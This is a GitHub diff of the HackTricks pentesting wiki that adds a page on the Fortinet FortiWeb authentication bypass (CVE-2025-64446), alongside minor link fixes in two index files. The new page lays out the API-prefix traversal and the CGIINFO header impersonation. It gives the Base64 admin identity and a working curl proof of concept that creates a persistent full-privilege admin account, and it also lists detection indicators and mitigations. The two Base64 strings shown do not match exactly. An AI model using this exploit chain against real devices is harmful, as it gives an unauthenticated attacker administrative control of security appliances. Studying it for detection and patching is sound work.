Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -443,6 +443,7 @@
- [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
- [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Fortinet Fortiweb](network-services-pentesting/pentesting-web/fortinet-fortiweb.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
Expand Down
16 changes: 11 additions & 5 deletions src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**CGI**](cgi.md)
- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Fortinet FortiWeb**](fortinet-fortiweb.md)
- [**Git**](git.md)
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
Expand All @@ -86,7 +87,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jenkins**](https://github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)
- [**Jira**](jira.md)
- [**Joomla**](joomla.md)
- [**JSP**](jsp.md)
Expand Down Expand Up @@ -237,7 +238,7 @@ Launch some kind of **spider** inside the web. The goal of the spider is to **fi
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
Expand Down Expand Up @@ -293,7 +294,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).

Expand All @@ -312,7 +313,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.

Expand Down Expand Up @@ -358,7 +359,10 @@ You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https

### HackTricks Automatic Commands

```
<details>
<summary>HackTricks Automatic Commands</summary>

```yaml
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
Protocol_Description: Web #Protocol Abbreviation Spelled out
Expand Down Expand Up @@ -428,4 +432,6 @@ Entry_12:
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
```

</details>

{{#include ../../banners/hacktricks-training.md}}
120 changes: 120 additions & 0 deletions src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
# Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

{{#include ../../banners/hacktricks-training.md}}

## Overview

Fortinet FortiWeb exposes a centralized CGI dispatcher at `/cgi-bin/fwbcgi`. A two-bug chain allows an unauthenticated remote attacker to:
- Reach `fwbcgi` by starting the URL with a valid API prefix and traversing directories.
- Impersonate any user (including the built-in `admin`) by supplying a special HTTP header that the CGI trusts as identity.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.

Impacted versions (as publicly documented):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23

FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.

## Quick vulnerability probe

- Path traversal from API prefix to `fwbcgi`:

```http
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
```

- Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.

## Root cause chain

1) API-prefix path traversal to internal CGI
- Any request path that begins with a valid FortiWeb API prefix (e.g., `/api/v2.0/cmdb/` or `/api/v2.0/cmd/`) can traverse with `../` to `/cgi-bin/fwbcgi`.

2) Minimal-body validation bypass
- Once `fwbcgi` is reached, a first gate performs a permissive JSON check keyed by a per-path file under `/var/log/inputcheck/`. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use `{}` as a minimal compliant body.

3) Header-driven user impersonation
- The program reads the CGI environment variable `HTTP_CGIINFO` (derived from the HTTP header `CGIINFO`), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
- `username`, `loginname`, `vdom`, `profname`
- Example JSON to impersonate the built-in admin:

```json
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
```

Base64 of the above (as used in-the-wild):

```
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
```

## End-to-end abuse pattern (unauthenticated → admin)

1) Reach `/cgi-bin/fwbcgi` via an API-prefix traversal.
2) Provide any valid JSON body (e.g., `{}`) to satisfy the input check.
3) Send header `CGIINFO: <base64(json)>` where the JSON defines the target identity.
4) POST the backend JSON expected by `fwbcgi` to perform privileged actions (e.g., create an admin user for persistence).

### Minimal cURL PoC

- Probe traversal exposure:

```bash
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
```

- Impersonate admin and create a new local admin user:

```bash
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
```

Notes:
- Any valid JSON body suffices (e.g., `{}`) if `/var/log/inputcheck/<path>.json` does not exist.
- The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.

## Detection

- Requests reaching `/cgi-bin/fwbcgi` via API-prefix paths containing `../` (e.g., `/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi`).
- Presence of header `CGIINFO` with Base64 JSON containing keys `username`/`loginname`/`vdom`/`profname`.
- Backend artifacts:
- Per-path files under `/var/log/inputcheck/` (gate configuration).
- Unexpected admin creation and configuration changes.
- Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).

## Mitigation

- Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
- Until patched:
- Do not expose FortiWeb management plane to untrusted networks.
- Add reverse-proxy/WAF rules to block:
- Paths that start with `/api/` and contain `../cgi-bin/fwbcgi`.
- Requests carrying a `CGIINFO` header.
- Monitor and alert on the detection indicators above.

## References

- [When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)](https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/)
- [watchTowr vs FortiWeb Auth Bypass — Detection artefact generator](https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass)

{{#include ../../banners/hacktricks-training.md}}